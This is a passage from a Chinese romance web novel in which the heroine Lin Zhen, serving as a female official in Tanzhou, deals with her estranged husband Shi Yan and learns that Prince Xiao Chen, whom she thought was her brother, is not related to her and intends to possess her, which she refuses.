虽然心底也知道许多话是方怀简的强词夺理,但与时彦所作所为相比,时彦更显无耻,她对上时彦目光,他眼眸猩红盯着自己,不知是气恼还是委屈,林蓁不想探究他的心情,她平缓了心态,看向时彦正要开口。 “蓁蓁,到我身边来。”时彦红着眼睛,声音透着从未有过的脆弱和惶然,像狂风暴雨中被打得无力招架支离破碎的野花,原本坚韧挺立,此刻狼狈不堪下一秒就会折倒。 林蓁的手被方怀简攥得更紧,他的掌心冒着汗黏腻得想把她融入骨血。 林蓁离开皇城时,就没想过回到时彦身边,这会儿被他撞见与方怀简在一起,任何遮羞布也不再需要,林蓁长吸一口气,对时彦道:“该说的我在皇城都已和你说过,如果你看不顺眼,你大可再去请旨,或者去府衙申告,治我秽乱之罪,我悉听尊便。” 时彦眼睛红得要滴出血,自林蓁离开皇城后,他就整日思索找什么借口跟到潭州,还没想出万全之策,得知方怀简到潭州视察书院,他一秒都坐不住,的确厚着脸皮再次向天子请求,得天子仁厚,他才以盐铁使身份被指派到潭州一带巡视盐业铁业。 他知道林蓁官衔级别低,跟随梅棠出行所带之物有限,自己特意准备好几辆马车物什,都是林蓁喜欢的吃的用的,千里迢迢运来潭州,眼见马上进城,心里想的全是如何讨她高兴,就在这里,在城外孤寂寺庙,在天地湿冷中,被漫天大雨浇得没有一点温度。 胸腔里一股闷痛四处游走,酸涩、苦楚、委屈,还有不甘,糅杂在一起,一团乱麻似的不断翻滚。她是他的发妻,他怎会寻她的不是治她的罪,都是方怀简,从他揣着刀离开毅勇侯府大门那刻,他就存着歹恶心思,时彦心底明镜似的,方怀简和他势不两立。 他看向方怀简,目光猩红,眼底血丝暴起,眼神阴鸷冷骇,像嗜血猛兽被逼至绝境,只有猛扑噬咬的念头。 “方!怀!简!”他唤出这三个字,像要嚼碎他的血肉。 然而下一瞬,林蓁倏地站在方怀简身前,死死隔绝了时彦进一步举动。 时彦雷霆怒火随时要炸,林蓁不想两人再度打起来,她看向不远处站着的时彦长随长庚启明,他俩一直往这边瞧着,想靠近又踌躇,林蓁唤他俩:“快来把你们的主子看住,想他在这里出什么乱子吗?” 长庚启明飞速跑了过来,一左一右站在时彦身边,像左右护法把他箍得死紧,他俩从看见林蓁方怀简的第一眼,紧张得心眼随时会跳出嗓子口,侯府的人各个亲见过方怀简在侯府门口刺伤时彦,这会儿事态比那时更不堪,随时可演变成不可收拾的局面,可他俩始终是下人,主子们说话轮不上他们插嘴,终于等到林蓁想起他俩,他们围住时彦,生怕有人失控再度发疯。 见长庚启明拉住了时彦,林蓁往后退了半步,她对时彦冷淡道:“要么去找天子撑腰,要么去找官衙做主,别在这儿折腾。” 不等时彦应答,她转头对方怀简道:“我们到里面避雨。”她的眼神再无往来,而方怀简眼眸明显浮现几分讥刺,两人绕开时彦主仆仨人,往寺庙里面走去。 时彦胸中血气翻涌,几乎要喷出一口老血,没有方怀简挑唆,林蓁即便不搭理自己也不会冷言淡语刺人,他目光紧随两人,攥着拳头转身也想跟上,却被长庚启明死命拉拽着,长庚劝道:“少夫人不过在这儿避雨,您再和少夫人争执几句,我们白来潭州一趟!一切进城了再说。” 启明连声附和:“这里这么多人,光天化日之下,他们就是有什么也不可能做……”后面的声音在长庚接连瞪眼中,消散在哗哗雨声中。 时彦正五品户部郎中,还是有实权的盐铁使,进了潭州城,和梅棠一样被知府杨业则安置在一个独门独院落脚,林蓁作为盐铁使夫人本可以搬来一起住,可时彦也知道,那只是奢望。 幸好林蓁方怀简平日各自有的忙,时彦不需要花很多功夫盯梢,他忙完自己的事晚上若有空闲,会去林蓁的院落看看她,林蓁不好意思在众多同僚同住的院落里赶人,夫妻俩得以在小小厢房安静地相处片刻,虽然没什么话语,但能够像在皇城静苑那样和林蓁独处,时彦已很满足。 能随时知道她的动向,看着她陪在她的身边,阻隔她和方怀简联系,时彦来潭州初衷已经圆满。 转眼到了下一个休沐日,方怀简本想和林蓁出 游,奈何时彦果然如他所说狗皮膏药,像甩不掉的阴魂寸步不离跟在林蓁身后,加上他的两个长随,三人如影随形跟在林蓁方怀简身边,林蓁只在大街上走了一遭就直接转去府衙整理卷宗。 方怀简离去时,回头看一眼府衙,林蓁已进了大门不见踪迹,时彦站在门口石狮边,双手抱胸对着自己无声冷笑。 六月时候,衡州白莲教众和当地官衙起了冲突,死了不少民众,方怀简急匆匆赶到潭州府衙,和林蓁交代了几句,第二日就去往衡州。 来找林蓁时候是白日,林蓁和同僚正在府衙里整理旧案卷宗,方怀简在门口探头探脑,被认识他的梅棠看到,帮他唤出了林蓁。 两人站在府衙中堂旁边库房前廊下说话。库房里同僚们正在忙碌,廊前时不时有人经过,方怀简满腔心思只能化为言简意赅的几句叮咛。 “我去衡州,协助衡州知府处理白莲教事务,你且保重。” 林蓁知道,去衡州直面白莲教众骚乱虽危险重重,但也是方怀简大展身手,一显才识胆略,扶摇直上的机会,他也必须去,他和明晖必须里应外合,才能迅速了结这场刻意制造的乱局。 林蓁只问道:“何日可回?” “不定,会尽快,回潭州后大概很快就得启程回皇城。” 来潭州方怀简极为高兴,不仅是处理白莲教事务,更因可以和林蓁有更多自由相处时光。 他终于恢复自由身,天知道和离那刻他第一个想告诉之人就是林蓁,林蓁与他相处不会再有负担,这里认识他们的人不多,他可以空余时和林蓁毫无顾忌待在一起,就像两人在孟家村时那样相牵相拥。 可许多事情总是意料之外,他没想到白莲教闹事的地方不在潭州,而在与之相邻的衡州,平息完白莲教闹事,他大概在潭州待不了多长时间,好在孟家村之行两人心意相通,方怀简虽即将出发,看到眼前的林蓁仍是满心蜜意。 “你不用担心我,我会照顾好自己。” “我会给你写信。” “你也要给我写。” 林蓁没有应答,她微微抬头,眸光澄澈如水,盈盈看向方怀简,唇角轻轻一弯,眉眼间顿时漾开几分明媚,两颊唇边现出一对浅浅酒窝,似夏荷初绽,清雅含蓄。 阳光透过层层叠叠枝叶落在青石地面上,映出斑驳圆点,像洒在方怀简心中蜜糖,又甜又暖,他屏息凝视,胸口像被什么撩拨,吹拂在身上的夏风带着几分醉意,让他沾染得快要沉醉。 林蓁送方怀简到府衙大门,她站在门口,目光追随方怀简背影,看他一步步走向坐骑,步履沉稳,却透着几分不舍,他回眸望向自己,目光如春水微漾,他翻身上马,动作利落洒脱,坐稳后竟又侧首回望,那一眼,似乎要将自己模样牢牢镌刻心底,林蓁目光与他交汇,无声之中千言万语流转。直至消失在街角,方怀简似乎还往府衙方向回望了好几眼,林蓁唯有眼神执着相随,不曾挪开半分。 府衙门口宁静开阔,微风轻拂带来阵阵花香,似安慰林蓁空落落的心绪。 她不知道的是,在她依依不舍眼神里,方怀简骑马而行,心头却被她深深牵绊,他的梦想,在这一刻变得异常清晰和坚定,他要回来娶她,每一步前行和离开,都是为娶她那天的到来积蓄力量,她会像今日这般在门口等着他回归,盈盈笑着迎接他走进她的世界,成为她的丈夫,陪她走完今后岁月,实现两世完满。时彦,滚一边去! 晚间知道方怀简动向,时彦身心都觉清净,他坐在林蓁厢房看书时,嘴角不自觉噙着笑。 大概他笑意实在太突兀明显,林蓁抬眸淡淡看了他一眼,时彦意识到她在看他时,目光立刻从书本移开,可林蓁已收回视线,回避了与他的对视。 时彦脸上顿时讪讪的,一想到萧忱就快夺嫡成功,自己各方面处境更为艰难,刚刚那抹笑意瞬间耷拉下去。 六月第一个休沐日,阴天飘着小雨,细雨朦胧透着几分慵懒,林蓁估摸着时彦会来,不想面对他一整天,早早起来收拾妥当,准备去府衙继续整理卷宗。已经整理了一个多月,案情基本梳理完毕,该做的记录也整理完备,后面会跟随梅棠去潭州附近找找已没籍为婢的女子实地核实证据,林蓁这会儿去官衙纯粹躲避时彦。 时辰尚早,可刚走出院门,竟然看到时彦主仆仨人骑着马拐进巷口而来,林蓁暗自佩服仨人风雨无阻干劲儿,无视仨人的靠近准备钻进自己的马车。 突然,巷口又奔进一匹骏马,本就不宽的巷道格外窄小,骏马上骑坐之人衙役打扮,林蓁看着面熟,不知他突然到访所为何事,停下登车动作,目光注视来人。 衙役被时彦仨人挡着道路,也认出了时彦盐铁使,跟在时彦仨人身后骑行到林蓁马车前,众人下马。 衙役挥手抹掉脸上雨水,问林蓁:“林大人?” 林蓁问:“梅大人找我?我正要去府衙。” 衙役道:“不是,惠王殿下来到潭州,此刻在府衙等您。” “惠王来了潭州?”林蓁眼睛骤然睁大,瞳孔微微收缩。 萧忱此时不应该在皇城如火如荼和诸位皇子明争暗斗吗,怎么跑到潭州,还要见自己? 衙役应道:“是,四皇子惠王来了潭州。” “我这就去。”林蓁颔首,跟着就要上马车,心想着方怀简和萧忱联络紧密,衡州白莲教在闹事,萧忱或许亲自到此准备摘果子未尝可知。 刚刚下马的时彦也翻身上马。 林蓁不由地皱眉,问他:“我去做正事,你还要跟着?” 一旁衙役道:“这位是时大人罢?惠王刚也派人去了您住处,也是请大人去一趟府衙,您在这儿,正好一起去。” 林蓁暗暗蹙眉,她追问道:“惠王殿下除了召见我俩,还召见了其它人吗?” “小人知道的,就只有大人您和时大人。” 萧忱和时彦平素并无交集,他亲自到潭州,指明要见自己和时彦,林蓁不禁怀疑,萧忱是知道了自己是他胞妹,要为她做主,赶走身边这个讨厌鬼。 可他如何知道的呢,方怀简没和他提过,林蓁现在做女官的感觉很好,不想成为什么公主,举止行动受皇家各种规矩的掣肘,林蓁满腹怀疑中有些紧张。 潭州府衙,萧忱与知府杨业则在府衙正厅等着人,杨业则知晓皇城各位皇子实力,惠王极有可能上位,他小心翼翼客套寒暄。 萧忱心不在焉应付,兀自想着心思。 皇城里两位兄弟将会给父皇下药,毅勇侯时世诚的人一直小心提防,应该能看出皇兄们的动作,希望毅勇侯会揪住两位皇兄命脉,让他俩再无翻身可能,自己远远躲开置身事外,等两位皇兄消停再回去坐收渔翁之利。 明晖得设法再见一面再做一次交易,自己帮他解决了白莲教中他的竞争对手,没有劲敌的他以后带着教众无法无天,他武功又高,谁还制得住他,终是国之隐患。 唯一不能完全把握的,只有林蓁,她知道真相会如何?自己一心一意帮她,还有云娘相助,她会很乖地听话?至少应该很感激自己罢? 萧忱手指无意识地摩挲着白玉扳指,指腹滑过白玉温润光滑,却抚不平心中忐忑,滴漏声一滴接着一滴,在只有两人的阔大厅堂里尤为响亮,也格外缓慢。 仆从在门口通报林蓁和时彦的到来。 萧忱倏地坐直,下意识抚平衣裾,腰背弧度也调整到恰到好处,展现出素来端正稳沉模样。 守在门外的仆从推开了门扉,萧忱看向门口,眼眸似瞬间点亮的烛火发着光,映照得阴雨天的厅内仿佛有了光亮。 第94章 第 94 章 我一直在找我的妻 在皇城时虽然知道萧忱的一些消息, 但林蓁其实有近半年未曾再见过他。 考上女官后萧忱派人送来了贺礼,极为贵重也不合规制,当时林蓁还想着御史台再见时当面道谢,可直到离开皇城, 也未曾见过他的衣角。而现在, 他来了潭州, 指名道姓见她这个八品小吏, 林蓁觉得,肯定发生了什么事。 府衙正厅里, 林蓁抬步迈过门槛,抬头便看到萧忱端坐主位,他穿着一身晴山蓝缎金银丝蟒袍,金银丝云纹如流动的水般泛着亮泽,尊贵清雅, 不是林蓁见过几次的玄色蟒袍, 冷肃凛然的寒气似乎也因此少了一半。 面色神情依然沉稳端肃,眉宇间是皇家自带不容冒犯的威压, 可林蓁目光与他对视一瞬,或许是许 久未见的错觉, 竟从他炯炯目光中看出几分温和,似春日月夜下的静湖, 静水映月, 蕴满春意。 林蓁垂眸, 与时彦一起向萧忱和潭州知府杨业则行礼。萧忱赐座,林蓁与时彦坐在下首,坐在杨业则对面。 萧忱看向林蓁,淡声问起在潭州查案的计划和进度, 林蓁如实回答,按照计划,他们一行人将要到附近州县去一一寻访记录在册的官婢,核实曾经的案卷记载。 萧忱认真听着,微微颔首,待林蓁语毕,萧忱赞许道:“此事圣上委托我督办,我特意到潭州来,就是希望看到你们把它办成铁案,再过去十年二十年,甚至更长时间,无人叫屈,只会称赞天子圣明。” 林蓁心下怪异,方怀简告诉过她,这个事情根本就是萧忱在天子面前游说,努力争取而来,和天子本心毫无关系,为的是换取明晖在这一带闹事,萧忱会捉拿住白莲教的关键头目,在天子面前请功。 而且要了解查案情况,也不应该问她,梅棠才是最清楚,了解案情最全面之人。 林蓁只管点头称是,谢天子圣恩一番官场话语。 知府杨业则向萧忱道:“衡州白莲教众最近闹得很厉害,下面乡县都有波及,我这儿郡兵一半以上都由都尉带着,去支援衡州了,刚去了没多久,梅大人若是要去下面乡县走访,最好还是缓一缓。这波白莲教闹事,杀的就是官府的人。” 林蓁垂首默默听着,心里却是心惊肉跳,脑海里全是方怀简临走时的轻松笑笑模样,仿佛是去建功立业,定会马到成功,以为方怀简和明晖里应外合,应该很顺利了结此事,可现在杨业则的嘴里,完全是另一番景象。 “杀官府的人?”林蓁不禁问道,这本不该由她问,可她实在担心方怀简,他不会武功只是一个文官。 杨业则脸色有些讪讪,回答林蓁,也是向萧忱解释:“本是衡州下面白莲教举行活动时,冲撞了官员,死了教众,当地县令处置不当,被教众一夜之间屠了县衙,后面越闹越大。” 杨业则没有把话说完,白莲教闹事已经波及与衡州相邻的潭州管辖下的乡县,他才急急地让都尉带领郡兵支援。这事儿他在此地为官多年从未遇到过,偏偏皇子来了就撞上几十年不遇之事,让他多年积累政绩岌岌可危。 萧忱对杨业则道:“今日便是特地让你认一认人,梅大人一行务必确保他们的安全,而面前林大人”,萧忱顿了顿,“不能少一根毫毛,否则你乌纱帽不保。” “若林大人有其他损伤,不管何人所伤,至亲之人枕边之人,我不问缘由,都是你的地盘,你保护不力,我必让潭州府衙见血,我丑话先说。” 萧忱语速缓慢,说话似漫不经心,但每个字都像冰刀上的尖刃,带着渗人寒意和煞气,厅内诸人慑于他的威仪,大气不出。 杨业则额间微微冒汗,垂眸连声道:“下官明白!殿下放心!” 心中却不甚明白,面前林蓁是盐铁使时彦夫人,自他知道他俩夫妻关系后他就格外关照林蓁,可怎么惠王也来插上一脚呢。至亲之人枕边之人,说的不就是时彦?时彦好像没和他的夫人林大人住一起……杨业则突然察觉到皇城来的人或许有许多隐秘阴私,他不露声色扫了一眼时彦,不再多想其中弯弯绕绕。 “这儿暂时没你的事儿,你先下去罢”。 杨业则立身告退,出门时体贴地阖上门扉,又把守在门口的仆从衙役叫离。 厅内只剩下三人,刚刚萧忱的话已让空气冻结,这会儿静得让人窒息。 林蓁本就有猜想,这下更确定了六七分,萧忱应该知道了什么,不然不会说刚才那番话。他会怎样对待时彦,自己该怎么做呢,她确实想与时彦了断,但也不想撕扯得太难看。 萧忱端起茶盏,慢条斯理喝上一口,放下茶盏看向时彦。 “我听说,你与林蓁能够成亲,是因为骗婚?” 时彦来府衙本是陪伴林蓁,可在知道萧忱也请了自己后,面色渐渐沉峻,刚刚听到萧忱杨业则对话,脸上的棱角都冷硬起来,眉目刚烈,面沉如水。 他呼吸微微一滞,不急不缓冷声回道:“殿下,这是微臣与林蓁私事,殿下不该过问。” 萧忱唇角缓缓翘起一个弧度,他似乎不在意时彦忤逆,目光转向林蓁,温声问道:“林蓁,你说,他是不是骗婚?” 林蓁思绪飞快运转,可仍然理不清头绪。 方怀简否认在萧忱面前提过兄妹的话,她不知道萧忱知道了多少,从何处得知,他问这些什么目的,为自己做主还是别的什么,虽然他曾承诺过会助自己和离。 林蓁抬眸看了一眼萧忱,她居然从他眼神中看出了和蔼温煦,她忍不住再看一眼,确认自己没有看错,眼前凝视自己的萧忱完全没有冷肃威压之感,就像——他本就是自己的哥哥。 林蓁嘴唇蠕动,然而并没有发出声音。 萧忱目光笼在林蓁身上,继续问:“林蓁,你是不是真心想和离,与时彦不再有任何瓜葛?” 在林蓁点头的同时,时彦眸光如电,语气不容置喙:“殿下,您这样做违抗了圣意!” 萧忱不慌不忙从袖中拿出一个黄缎方形锦盒。 林蓁已隐隐猜到盒中之物,她的目光追随着锦盒,就见萧忱修长手指抚过盒面,轻轻一按,盒盖倏地弹开,通透无瑕的黄金玉静静躺在里面。 不仅是萧忱拥有的那块龙佩,还有自己的凤佩,两块玉佩契合得天衣无缝,形成一个完满的圆形玉佩,腾云驾雾的龙和翩然欲飞的凤首尾相连。 萧忱对林蓁淡笑:“过来看看,是不是你的那块?” 林蓁讶异,置于袖中的双手微微的抖,但她很快想明白,既然萧忱与明晖合作,大概明晖的缘故,萧忱知道自己是凤佩的主人。 她看向萧忱,他举止自然,目光沉稳温柔,又隐隐有鹰隼般锐利,他是天生的掌控者,从来笃定果断。 林蓁打消心中否认的念头,起身走向萧忱,在离他一步距离时停驻脚步,目光落在龙凤佩上,其实不用看也知道就是自己的那块凤佩,但林蓁还是假意端详一番,点头道:“确实是我丢失的那块。” 萧忱轻轻扣开龙凤佩相连的关窍,将龙佩递到林蓁眼前:“这次要收好,别再送给任何人。” 萧忱伸着手心在自己面前,林蓁看着他手中龙佩,目露疑惑。 她的是凤佩呀! 萧忱却看向时彦,对他淡声道:“你与林蓁之事并非你俩私事。” “我和林蓁是指腹为婚,这块龙凤佩是为凭证。” “这么多年,我一直在找我的妻。” 似被一道闪电劈中,林蓁脑中响起一声闷雷,她讶异得几乎无法站稳,萧忱疾如流星扶了她一把,林蓁却像触电般弹开,倏地一下站回到时彦身边。 第95章 第 95 章 毛骨悚然 脑中闷雷似炸开身体的每一个细胞, 林蓁感到浑身每一寸肌肤都被电击被碾压,五脏六腑震颤着失去了功能,心脏跳得能听到它的回响,太阳穴突突鼓动, 脑子里是炸雷后的懵然和麻木。 萧忱话音还反复回响在耳畔, 林蓁再次看向他。 见林蓁一脸震惊, 他并没有讶异表情, 仿佛他刚刚说过的话只是普通不能再普通的一句官 场寒暄,他收回了手, 摩挲着掌心里的龙佩,目光却看着时彦。 林蓁确认没有听错,可怎么可能呢。 时彦时世诚可以没死,时姝可以嫁给萧策,自己可以不做公主……这些都是纸片人时彦和自己有自我意识后的重新选择, 可自己和萧忱指腹为婚?基本设定就出了偏差。 眼中的萧忱不动声色, 目光饶有趣味看着时彦,似乎等他主动退让, 林蓁有些怀疑,萧忱或许编的一套谎言, 让时彦知难而退? 思绪乱成一团麻,滚成一个球在脑子里各种弹跳, 越滚越分不清头绪, 林蓁余光里, 时彦沉着脸,肢体动作不露半点波澜,他也猜到这是萧忱故意逼他? 观察着两个男人神色自若,了无遽容, 理智渐渐回笼,林蓁问萧忱:“殿下说的可是真的,凤佩是我母亲的遗物,我从未听说过有这等事。” “那是你身边人特意隐瞒,如今我已查实,这也是我来潭州目的之一,稍后你可以去问云娘。” “云娘?!” “是,为查证云娘所说,她跟随我来了潭州”,萧忱应着林蓁的话,目光却在时彦身上寸寸扫过,似猛兽捕食前仔细观察自己猎物,“你还记得观云庵静慈大师?她俩的话可以一一印证。” 林蓁喉咙发紧,再也说不出话来,云娘竟然来了潭州,那萧忱所言必然句句属实? 萧忱收回剖析时彦的目光,他的眼神淡漠而尖锐,对上时彦深邃莫测的视线,唇角闪过一丝若有似无的弧度,淡声道:“你怎么说?” 时彦沉声道:“我与林蓁三书六聘,明媒正娶,天子也宣了圣意,殿下有龙佩,可天意让殿下迟到,便是与她无缘。” 萧忱冷嗤一声:“倒是不见棺材不掉泪。若你与林蓁两情相悦,我也就吃了这个哑巴亏,成全一对鸳鸯,你骗婚在前,强逼在后,在我面前还这般大言不惭。” “我来潭州前,皇城里毅勇侯与我两位皇兄针尖对麦芒,我这一路都为毅勇侯担心,等我回皇城时,毅勇侯一片忠心却下场凄凉。” “写了放妻书,你即日回皇城,毅勇侯府的富贵荣华或许因你得以保全。” 萧忱不再说话,眉毛微挑,等着时彦表态。 时彦道:“我父亲对天子丹心赤忱,他有天子庇佑,吉人天相。” “林蓁应该和你说过,我没有耐心”,萧忱将龙佩放回锦盒,他收好锦盒站起身,往厅门方向迈步,“且拭目以待。” 见林蓁站在原地不动,萧忱看了她一眼径直往前走,口中发出邀约:“一起去见云娘?” 萧忱背对两人走向厅门,林蓁下意识看向时彦,他下颚微微上扬,坚硬线条透露出执拗,目光沉沉,似有许多话语叮咛,与林蓁目光碰撞那瞬,他张嘴说了几个字,虽然没有发出声音,林蓁却看懂了口型,“我会跟着。” 林蓁的心似初春河水上厚厚冰层裂出了一道隐秘缝隙,明明刚刚来时看到这张脸就心生气恼,此刻他脸上柔光却让她心神微微安宁,她匆匆看了他一瞬,转身跟在了萧忱身后。 她得见云娘,谁都可能骗她,云娘永远不会。 潭州最好的客栈百福庭天字号房,云娘坐立不安。 她听从萧忱的话,跟随他到潭州后,许多事情如他当初承诺的一样兑现,但也有一些事情出乎意料,想到萧忱会对林蓁说的话,福祸难料,云娘不知林蓁的前路会是什么,她会不会好心办了坏事。 听到门外脚步声往自己房间来,云娘攥紧袖口,径直站到了门口。 脚步声在门口消失,随即门被轻轻推开,林蓁出现在云娘眼前。好几个月不见,她人消瘦些许,圆润脸颊如今线条更显清晰,目光依旧明亮澄澈,更有几分坚韧,配上女官制式绿底锦袍,耀眼远胜明珠。 与云娘对视那瞬,林蓁眼睫微微颤动,眼眶很快红了。 “云娘”,林蓁开口唤她,声音仍是过去的清甜,云娘上前一步搂紧林蓁到自己怀里。 她看到了林蓁身后的萧忱,见林蓁委屈模样,就知道萧忱都说与林蓁知道了。 萧忱道:“云娘,你亲口和她说。” 林蓁的心不由得忐忑,云娘曾经说自己与萧忱是兄妹,这也是小说里的剧情,这个设定也会改变? “云娘,殿下说,我和他指腹为婚,龙凤佩是为凭证?” “不是”。 一句“不是”,林蓁内心长吁一口气,果然,萧忱的话特意为骗时彦,可气还没叹完,云娘又道,“但你们是兄妹,又不是兄妹。” 这是什么,林蓁刚刚下落的心又悬了回来。 云娘当着萧忱的面从头讲述那段往事,讲起没几人知道的当年在观云庵的细节。 当年萧忱胞妹没有和萧忱一起被送走,源于那时恰好生病,孟惠君带着小婴儿躲在观云庵时,两人都病得奄奄一息,不到两个月大的娃娃在观云庵一命呜呼,孟惠君人事不省并不知晓,云娘整日哭哭啼啼,既担心孟惠君再也醒不过来,又担心醒来后受不住很快跟了娃娃去。 观云庵主知晓后,问云娘是否愿意收养一个庵里刚刚捡到的女婴,云娘不假思索地应允,这个女婴就是林蓁,孟惠君自始至终不知真相,她有过怀疑,但因母女俩都大病一场人都脱了形,小婴儿又一天一个样儿,细微处都被云娘遮掩过去。 知道此事的老庵主和掩埋女婴的老仆死的死散的散,云娘不想和任何人提及此事,但萧忱找上门时,一想到林蓁不愿做大周公主,真正的大周公主埋在观云庵的后山中连个棺材板都没有,云娘心思徘徊间将此事告诉了萧忱。 萧忱带云娘到潭州,就为去曾经的观云庵后山找到他胞妹的遗骨。如今大周公主的遗骸已被萧忱挖出妥善安置,云娘对小姐孟惠君的歉疚也终于划上句号。 可萧忱却和她说,他要实现母亲遗愿,“照顾”林蓁一生一世! 云娘吓个半死,她知道林蓁一直把萧忱当做哥哥看待,从无男女之情,可她哪里劝得动萧忱,只得不停央求萧忱,若林蓁无意求萧忱放过。 云娘抽抽泣泣讲完缘由,对呆呆傻傻尚未回神的林蓁暗示:“惠王殿下有心照顾你一生一世,你若有自己心愿,不妨直接和殿下明说。” 林蓁没有什么反应,她沉浸在云娘观云庵的故事里,一时尚未抽离,心疼遭难的“母亲”,也可怜孤儿的自己,鼻翼发酸,眼泪在眼眶里打转。 萧忱意味深长看了云娘一眼,对林蓁道:“林蓁,指腹为婚特意说给时彦知道,但你冰雪聪明,难道不知,带你冥想送你红玉对簪,不是我萧忱对一个普通女子会做的事?” “我对你,只有一个心思。” 林蓁猛然回神,她眨了眨眼,模糊视线逐渐清晰,对上萧忱目光,有点儿炽热,有点儿温情,更多的是势在必得的笃定。 自己似乎变成一只被窥视的羔羊,没得选择命运已定,一股寒意从林蓁后脊慢慢窜出,延伸到四肢百骸,手掌脚指都冷得蜷了起来,分明是表白,但林蓁只觉,毛骨悚然。 第96章 第 96 章 我哪里不合你心意? 应是明晖与他相爱相杀, 让他体会男女之间爱与恨,得到与失去,感受眼泪留下来时震颤灵魂最深的痛,是时姝带给他暗夜里的光, 给他温暖治愈他的过去, 让他第一次心灵悸动, 学会爱和珍惜。 小说里描绘的萧忱是一个对感情很执拗却很晚醒悟的人, 从小在深宫里隐忍和伪装,假面已融进他的肌血, 虚伪面具成为保护他的盔甲,他倚靠这些生存本能才博到争夺皇位的机会,直到明晖死在他怀中才使他自省内心,对情爱的眷恋第一次胜过对权势的渴求。 林蓁不明白,萧忱怎么会对自己说出“有心思”的话, 他什么时候开始对自己“有了心思”?有方怀简助力, 他迈向皇位的步伐稳健而顺畅,他眼中看向自己 的光是胜利者才有的睥睨俯视和傲娇, 即便他对自己动了心思,这点儿心思远远及不上他生来就追逐的权势。 自己只是他追逐权势道路上顺路看到的一个绵软可爱唾手可得的猎物, 不需要花费很多精力费太多心思,能够带给他过去没有过的情感体验?林蓁了解萧忱, 因为他是小说男主, 她回忆过无数次萧忱的内容, 可当下这种情形,她突然感觉到,对萧忱,她实际上一无所知。 回想与萧忱不算多的见面和联系, 大多时候自己对他惧怕有余,硬要找出自己逾矩之处,不该送他砚台和紫毫笔,可就送过这一次礼物,就能让他偏离原本感情轨道?没有了时姝还有明晖呀! 目光看向云娘,她眉间轻蹙,眼神小心翼翼,对上自己视线眼中闪烁着光亮,有心疼有关切,似乎还有挣扎,唯独看不出欣喜,云娘是最亲近自己的人,林蓁看得明白,云娘并不为萧忱对自己的心思感到愉悦。 林蓁定下心,目光落在萧忱脸上,即便他刚刚对自己吐露男女情意,他的神情仍然一如既往端肃。 还是有一些微妙变化,林蓁没有体味出他身上惯有的寒意和煞气,不知该高兴还是该揪心。 “殿下,您威仪端肃,过去臣女畏惧殿下,在殿下帮助我,让我能跟随梅大人学习后,臣女对殿下的畏惧才慢慢减退,臣女心中对殿下只有尊敬,如果说过去臣女对殿下有别的心思,那只有殿下帮助臣女慰藉臣女时,臣女满心感激之情渴望有回报殿下的机会,殿下在臣女心中始终是一位令人尊敬的长辈。” 林蓁犹豫须臾,继续道:“殿下就像,就像臣女哥哥一样。” 林蓁本仰着脸看着萧忱,说完这番话迅速低下头,似乎接下来萧忱就该雷霆震怒。他运筹帷幄智周万物,应极少碰见拒绝,林蓁等待着他的怒意恼恨爆发。 屏声静气等了半晌,头上传来萧忱淡声疑问:“合你心意的男子什么样?我洁身自好,励精图治,前途——” 萧忱收了音,问:“哪里不合你心意? 方怀简那样的?你想吃回头草?” 林蓁心内一惊,似乎萧忱躲在某个暗处窥视到自己和方怀简同游孟家村。 不可将方怀简牵扯其中,她抬眸正要辩解,萧忱自顾自说了下去。 “对我只有尊敬?满心感激?尊敬和感激一个人,你是次次见着他笑,夸他笑得好看?” “玉泉庵里我还是你的朋友,现在就成了长辈?” “你心里有了人?是谁?” 他鹰隼般的目光盯着林蓁一眨不眨,林蓁莫名有些心虚,垂眸道:“殿下,您误会了,臣女没有。” 那些曾经对萧忱的情意,都是把他幻想为与自己血脉相连的同胞哥哥,那些笑容,那些对视间发自心底的愉悦,现在成了不容否认的铁证。 “我信你”,萧忱道,“相信你对我毫无隐瞒,你好好想想,仔细想想,和我在一起,对你是最好的选择。” 萧忱声音低沉冷静,透着让人无法反驳的自负:“没有别的选择。” “你第一次见我时,为方怀简哭哭啼啼,未几再见时你双颊红绯却是为了新的郎君,不到一年你闹和离闹到天子面前,我知晓你相信你的人品,可你应知,你和时彦和离后,他人眼里怎么看你?水性杨花,心猿意马,难堪重任。” “你跟了我”,萧忱语气骤然加重,宛若要将自己的话印刻进林蓁的脑海,“日后无论朝堂还是宫闱,你为所欲为,无人敢诟病半字。” “这样的人生,岂不快哉?” 萧忱嘴角微微翘起一点儿弧度:“当初你对我笑意盈盈,还赞我笑得好看,你可知当时我在想什么,我想的是,环住你,和你坐拥天下的快意!” 他的手在袖口停驻须臾,接着把手伸到林蓁面前,掌心中是刚刚在府衙要给林蓁的龙佩。 “母亲给你我的龙凤佩,你把它收好。母亲遗愿你嫁个好人家,除了在我身边,我想不到你还有更好的去处。” 萧忱言语自然,动作流畅一气呵成,似乎完全没考虑林蓁可能会拒绝。 他掌心的龙佩水润通透,巧夺天工,林蓁看着龙佩,思绪翻涌,如果他是自己的哥哥,该多么完美,她宁愿再不嫁人陪伴哥哥一生,报答“母亲”的慈爱,报答哥哥的恩宠。可现在这块龙佩,像烧红的烙铁冒着热气,她心中发颤,没有接住它的勇气。 林蓁再次看向云娘,她眼眶泛红,萧忱的话她听得明白,却没有一句言语,劝林蓁的言语,林蓁的眼眸也泛起酸意,云娘知道她的心意,那她就没什么顾虑,她要说出实情,拦住萧忱的念想。 “殿下,当初臣女对殿下笑,对殿下示好,皆因那时臣女以为殿下为臣女胞兄,出于兄妹情谊,希望殿下开心顺心。 臣女虽不是母亲亲生,但母亲生前并不知晓,给了臣女世上最温柔的母爱,在臣女心中,殿下就是臣女哥哥,这份兄妹之情永远不会改变,若殿下应允,臣女愿意以妹妹身份侍奉殿下左右,永不再嫁。” 萧忱端肃的面容现出一丝裂痕,云娘说林蓁一无所知,全是谎言?她对自己毫无情意,都是自己妄想痴梦?! 黑云在裂痕缝隙里翻腾咆哮,张牙舞爪般似乎下一刻就要撕裂缝隙,在这间房里电闪雷鸣,然而,獠牙只在裂痕边缘闪现了一瞬,裂痕便失了踪迹没留下丁点儿残迹,萧忱淡声道:“既认我为兄,口口声声殿下臣女,连哥哥也不愿意唤一声?” 他目光落在林蓁身上,似千斤重担的压迫,眼神执着,耐心十足,林蓁唇微微动了动,嗫喏了好一会儿,终是开口轻轻唤了声:“哥哥。” 声音短促,轻飘飘地似幻如梦,然瞬间填满了萧忱心中某处角落,让他心头霎时说不出的烫贴,就算自己妄想痴梦,也是她引火上身,他有什么得不到?不该得?不配得? 